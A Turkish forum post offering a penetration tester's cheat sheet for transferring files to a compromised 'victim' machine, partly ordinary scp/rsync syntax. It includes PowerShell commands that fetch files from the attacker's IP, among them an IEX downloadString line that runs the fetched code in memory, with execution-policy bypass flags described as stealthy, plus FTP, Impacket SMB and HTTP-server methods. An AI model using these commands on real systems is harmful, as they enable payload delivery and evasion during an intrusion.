Pentester'ın Dosya Aktarımlarını Gerçekleştirme Teknikleri

  • Konbuyu başlatan Konbuyu başlatan Hüseyin
  • Başlangıç tarihi Başlangıç tarihi

Hüseyin

Üye
Top Poster Of Month
Katılım
21 Ocak 2024
Mesajlar
164
Tepkime puanı
36
Puanları
28
putty.png


Tespit edilmekten kaçınmak için hedef bilgisayara özgü araçları kullanmak en iyisidir.

Windows Host ile FTP

Windows makinesinde bir shell'e sahipken, ana makinenizde bir FTP sunucusu başlatın. Eğer FTP sunucunuz kurulu değilse aşağıdaki adımları takip edin:

sudo apt-get install vsftpd
sudo service vsftpd start
service vsftpd status #status should be active

Sunucunuzun çalışıp çalışmadığını kontrol etmek için ftp localhost yazın. "Connected to localhost" mesajını görürseniz, FTP sunucunuz çalışıyor demektir.

Etkileşimli Shell ile Dosya Erişimi

Windows makinesinde etkileşimli bir shell'iniz varsa, bu komutu çalıştırın.

cscript wget.vbs http://<YOUR IP>/<PATH TO FILE> <FILENAME TO SAVE AS>

Etkileşimli Olmayan Shell ile Dosyaya Erişme

Etkileşimli bir shell'iniz yoksa PowerShell.exe'yi başlatamazsınız. Geçici bir çözüm, bir PowerShell betiği oluşturmak ve onu çalıştırmaktır:
echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://<YOUR IP>/<PATH TO FILE>" >>wget.ps1
echo $file = "output-file.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1

wget.ps1 dosyasını çağırmak için

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
-ExecutionPolicy Bypass -noLogo -NonInteractive --- stealthly
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://<YOUR IP>/<FILENAME>')"
IEX(New-Object Net.WebClient).downloadString('http://<YOUR IP>/<FILENAME>')

PowerShell Aracılığıyla Dosya Alma

Kali Linux makinenizde, /var/www/html/ adresine göndermek istediğiniz dosyanın bir kopyasını oluşturun. Windows makinesinde aşağıdakileri çalıştırın:

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://192.168.10.128/unko.txt','C:\Users\Administrator\Desktop\transferme.txt')"
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://192.168.119.146/gori.ps1')"

SMB ile Dosya Aktarımı Yöntem 1

Impacket'ten smbserver.py dosyasını alın ve aşağıdakileri Kali Linux makinenizde çalıştırın:

smbserver.py gori $(pwd) -smb2support -user gori -pass gorigori

Bunu kurbanın makinesinde çalıştırın:

New-PSDrive -Name "gori" -PSProvider "FileSystem" -gori "\\<YOUR IP>\gori"

Yöntem 2

Bunu Kali makinenizde çalıştırın:

smbserver.py kali .

Bunu kurbanın makinesinde çalıştırın:

On victim's \\<YOUR IP ADDRESS>\kali\FILE_NAME.exe "whoami" # "whoami" confirms that it is running

HTTP Sunucusu ile Dosya Aktarımı

Makinenizde çalıştırın:

python3 -m http.server 80

Bu, HTTP sunucusunun root'u komutu çalıştırdığınız dizinde olacak şekilde 80 numaralı portta bir HTTP sunucusu başlatacaktır. Bir dosya almak için bunu kurbanın makinesinde çalıştırın:

wget http://<YOUR IP>/path/to/file.txt

SCP ve RSYNC ile Dosya Aktarımı

Bu dosya aktarım yöntemlerinin her ikisi de SSH üzerinden gerçekleşir. Güvenli Kopyalama Protokolü (SCP) kullanımdan kaldırılmaktadır, ancak kullanabiliyorsanız, syntax oldukça basittir.

scp <SOURCE> <DESTINATION>

Bu örnekte, bir dosyayı uzaktaki bir ana bilgisayardan yerel makinemizin çalışma dizinine kopyalamak için SCP kullanıyoruz, böylece bilgisayarımız alıcı tarafta oluyor.

scp username@ip_address:/home/username/filename

Bilgisayarınızdan uzaktaki ana bilgisayara bir dosya aktarmak istiyorsanız, aşağıdaki sözdizimi kullanılabilir:

scp filename username@ip_address:/home/username

Aynı komutlar, scp'yi rsync ile değiştirerek RYSNC ile de kullanılabilir.

rsync <SOURCE> <DESTINATION>


İki bilgisayar arasında dosya aktarmanın sayısız yolu vardır. En yaygın yöntemler arasında HTTP ve FTP vardır, ancak bunlar işe yaramazsa, buradaki diğer seçeneklerden bazılarının işe yarama ihtimali vardır.
 
Geri
Üst